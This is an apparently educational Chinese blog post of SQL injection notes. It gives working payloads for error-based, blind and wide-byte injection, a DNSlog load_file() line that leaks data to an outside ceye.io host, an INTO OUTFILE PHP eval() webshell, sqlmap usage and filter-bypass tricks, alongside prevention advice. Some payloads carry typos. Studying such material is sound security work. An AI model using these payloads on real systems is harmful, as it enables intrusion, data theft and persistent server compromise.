当前位置:网站首页>sql注入
sql注入
2022-07-27 09:56:00 【不会就跑路的小白】
sql注入
什么是sql注入?
用户输入的参数未经处理直接带入数据库中进行查询,sql注入属于服务端攻击,他与操作系统,数据库类型,脚本语言无关。
sql注入通常存在?
url参数框:
xxx.asp?id=xx
xxx.php?id=xx
xxx.jsp?id=xx
登陆的地方,出现更新的地方,注册的地方,留言板等。
http头部,cookies,reference,unsagent,post的提交数据。
sql注入的分类?
数字型:当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。
加单引号,URL:www.text.com/text.php?id=3’ 会出现报错单引号报错
字符型:字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
搜索型:可以理解为文本框注入,即一般网页可以填写的文本框, get注入网页url框
注入提交方法?
get post cookie提交
注入攻击类型?
1.union注入
一般和order by,scheinformation_schem连用,爆数据库名,表名,列名,到最后的列数据。
2.报错注入
updatexml: and updataxml(1,concat(0x7e,(),0x7e),1) --+一共可以接收三个参数,报错位置在第二个参数.
extractvalue:and extravtvalue(1,concat(0x7e,())) --+ 一共可以接收两个参数,报错位置在第二个参数
floor:or (select 1 from (select count(*),concat(0x7e,(),0x7e,floor(rand(0) * 2))x from information_schema.tables group by x)a)–+ 原因是键值重复
还有那几个数学函数:
链接:https://blog.csdn.net/weixin_54217950/article/details/122938063
3.http头部注入(工具burpsuit)
User-Agent:使服务器能够识别客户端使用的操作系统,浏览器版本等(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)。
Cookie:网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)。
Host:客户端指定自己想访问的Web服务器的域名/IP 地址和端口号。
X-Forwarded-For:简称XFF头,它代表客户端(即HTTP的请求端)真实的IP(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实 现伪造IP])。
Referer:浏览器向Web服务器表明自己是从哪个页面链接过来的。
4.盲注
时间盲注
基于数据库长度的时间盲注:andif((length(database()=8)),sleep(5),1)–+
基于数据库名的盲注:
and if((substr((select database())),1,1)=‘s’),sleep (2),1)–+
基于数据库名长度的盲注:
and if ((ascii(substr((select database()),1,1))>80),sleep(3),1)–+ 注意:可以使用二分法进行盲注。
布尔盲注
Web页面仅仅返回类似True或False的两种结果。
注入方式:进行SQL注入之后,根据页面返回的True或者是False来得到数据库中 的相关信息
判断数据库名长度:
and length(select database())=8)–+
判断数据库表名长度:
and substr((select database()),1,1)=‘s’–+
5.宽字节注入(突破字符转义)
与gbk有关,一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。
原理:%df和后面的/(%5c)变成一个汉字運,使得’逃逸出来。
**原因:根据gbk编码规则,第一个汉字ascii码大于128既可以了,如我们不用%df,用%a1也可以。%a1%5c他可能不是汉字,但一定会被mysql认为是一个宽字符,就能够让后面的%27逃逸了出来。
装逼继续说:gb2312和gbk会发生什么呢,gb2312,也是不成功的。这归结于gb2312编码的取值范围。它的高位范围是0xA1~0xF7,低位范围是0xA1~0xFE,而\是0x5c,是不在低位范围中的。所以,0x5c根本不是gb2312中的编码,所以自然也是不会被吃掉的。只要低位的范围中含有0x5c的编码,就可以进行宽字符注入**
预防方法?
gbk编码造成的宽字符注入问题,解决方法是设置character_set_client=binary。
矫正人们对于mysql_real_escape_string的误解,单独调用
set names gbk和mysql_real_escape_string是无法避免宽字符注入问题的。还得调用mysql_set_charset来设置一下字符集。谨慎使用iconv来转换字符串编码,很容易出现问题。只要我们把前端html/js/css所有编码设置成gbk,mysql/php编码设置成gbk,就不会出现乱码问题。不用画蛇添足地去调用iconv转换编码,造成不必要的麻烦。
6.二次注入
举一个简单的例子:
第一次用户名:admin # +正常密码
第二次修改密码的时候我们修改admin #用户的密码的时候,发现admin的用户密码也修改了。
7.dnslog外带,在没有回显情况下。
注意:loda_file函数在mysql8.0版本之后已经被弃用。
使用场景:
场景一:没有回显的情况下,一般编写脚本,进行自动化注入。但与此同时,由于防火墙的存在,容易被封禁 IP,可以尝试调整请求频率,有条件的使用代理池进行请求。
场景二:此时也可以使用 DNSlog 注入,原理就是把服务器返回的结果放在域名中,然后读取 DNS 解析时的日志,来获取想要的信息。
Mysql 中利用 load_file() 构造 payload:and load_file(concat(“\\”,hex(user()),“.ajma31.ceye.io\abc”))# 注意:这里因为结果里含有@关键字所以结果需要准换成十六进制编码才能实现。并且这里的.ajma31.ceye.io自己申请的,每个都不同。链接:https://blog.csdn.net/weixin_54217950/article/details/122972755
8.写webshell
数据库中into outfile语句把表数据导出到一个文本文件中,那么利用这个语句,再配合满足的‘三个条件’,即可实现文件或者一句话木马导入到数据库文件的目录中。
语句:
union select 1,2,3 into outfile “D:\phpstudy_pro\www\a.php”–+
union select “<?php @eval($_POST['123']);?>”,
条件:
root 权限、网站的绝对路径、需要数据库开启 secure_file_priv 相当于 secure_file_priv的值为空,不为空不充许写入 webshell (默认不开启,需要修改 my.ini 配置文件)。
sqlmap结合burpsuit进行注入
1.如果是 get 注入,直接,sqlmap -u “注入点网址”.
2.如果是 post 注入,可以 sqlmap –r "burp 地址访问包”
3.如果是 cookie,X-Forwarded-For 等,可以访问的时候,用 burpsuite 抓包,注入处用号替换,放到文件里,然后 sqlmap -r “文件地址”,记得加上—level 3 参数。
SQL 注入防护方法?
1、涵数过滤,如!is_numeric 涵数 //判断变量 id 是否为数字
2、直接下载相关防范注入文件,通过 incloud 包含放在网站配置文件里面,如 360、阿里云、腾迅提供的防注入脚本
3、使用白名单来规范化输入验证方法
4、使用 Waf 拦截
5、采用 PDO 预处理
预编译能否 **100%**防sql注入,如果不能,写一个
不能。
一、
$pdo->query('SET NAMES gbk');
$var = "\xbf\x27 OR 1=1 /*";
$query = 'SELECT * FROM test WHERE name = ? LIMIT 1';
$stmt = $pdo->prepare($query);
$stmt->execute(**array**($var));
类似于宽字节注入
二、
$dbh = **new** PDO("txf");
$name = $_GET['name'];
$stmt = $dbh->prepare('SELECT * FROM ' . $name . ' where usern ame = :username');
$stmt->execute( **array**(':username' => $_REQUEST['username']));
参数 name 是一串数组,PDO 不会生效
sql注入参数过滤:
1.过滤and or 等关键字 (and可以用&&或者||代替)
2.过滤注释入-- # ' " 可以用 ;%00进行截断或者 '1'='1
3.过滤空格(\s)最基本的方法,在一些自动化SQL注射工具中,使用也十分普遍。
在MySQL中,用/**/ 注释可以用() 绕过。通过编码绕过:空格可以用。
4.= 等号的绕过 (我们可以通过使用/**/like/**/或者/**/regexp/**/
5.语句中有逗号就可能被拦截,这个时候我们可以用 join 来绕过。
边栏推荐
- 二叉树习题总结
- 视觉SLAM十四讲笔记(一):第一讲+第二讲
- NFS 服务器的搭建
- [SCM]源码管理 - perforce 分支的锁定
- NFT system development - Tutorial
- Word2vec principle and application and article similarity (recommended system method)
- Why is redis so fast? Redis threading model and redis multithreading
- Uninstall cuda11.1
- Shell variables, system predefined variables $home, $pwd, $shell, $user, custom variables, special variables $n, $, $*, [email protected],
- About new_ Online_ Judge_ 1081_ Thoughts on Goldbach's conjecture
猜你喜欢
![Shell运算符、$((运算式))” 或 “$[运算式]、expr方法、条件判断、test condition、[ condition ]、两个整数之间比较、按照文件权限进行判断、按照文件类型进行判断](/img/65/a735ca2c2902e3fc773dda79438972.png)
Shell运算符、$((运算式))” 或 “$[运算式]、expr方法、条件判断、test condition、[ condition ]、两个整数之间比较、按照文件权限进行判断、按照文件类型进行判断

数据库性能系列之子查询

Provincial Emergency Management Department: Guangzhou can strive to promote the experience of emergency safety education for children
![[cloud native • Devops] master the container management tool rancher](/img/6f/50deaf053c86486e52d2c2c7310ed2.png)
[cloud native • Devops] master the container management tool rancher

Uninstall cuda11.1

open3d库的安装,conda常用指令,导入open3d时报这个错误Solving environment: failed with initial frozen solve. Retrying w

GBase 8a MPP集群扩容实战

Huawei switch dual uplink networking smart Link Configuration Guide

Interview JD T5, was pressed on the ground friction, who knows what I experienced?

Looking for a job for 4 months, interviewing 15 companies and getting 3 offers
随机推荐
Leetcode.1260. 2D grid migration____ In situ violence / dimensionality reduction + direct positioning of circular array
Shell的正则表达式入门、常规匹配、特殊字符:^、$、.、*、字符区间(中括号):[ ]、特殊字符:\、匹配手机号
Failure of CUDA installation nsight visual studio edition failed
找工作 4 个月, 面试 15 家,拿到 3 个 offer
How to create a.Net image with diagnostic tools
Concurrent thread state transition
SE(Squeeze and Excitation)模块的理解以及代码实现
Snowflake vs. Databricks谁更胜一筹?2022年最新战报
Pyautogui realizes automatic office -rpa small case
LeetCode.565. 数组嵌套____暴力dfs->剪枝dfs->原地修改
Provincial Emergency Management Department: Guangzhou can strive to promote the experience of emergency safety education for children
LeetCode.814. 二叉树剪枝____DFS
Looking for a job for 4 months, interviewing 15 companies and getting 3 offers
LeetCode.1260. 二维网格迁移____原地暴力 / 降维+循环数组直接定位
Review of in vivo detection
线代003
Mysql database experiment training 5, data query YGGL database query (detailed)
How to restore the original version after installing Hal Library
文件上传漏洞相关
Shell流程控制(重点)、if 判断、case 语句、let用法、for 循环中有for (( 初始值;循环控制条件;变量变化 ))和for 变量 in 值 1 值 2 值 3… 、while 循环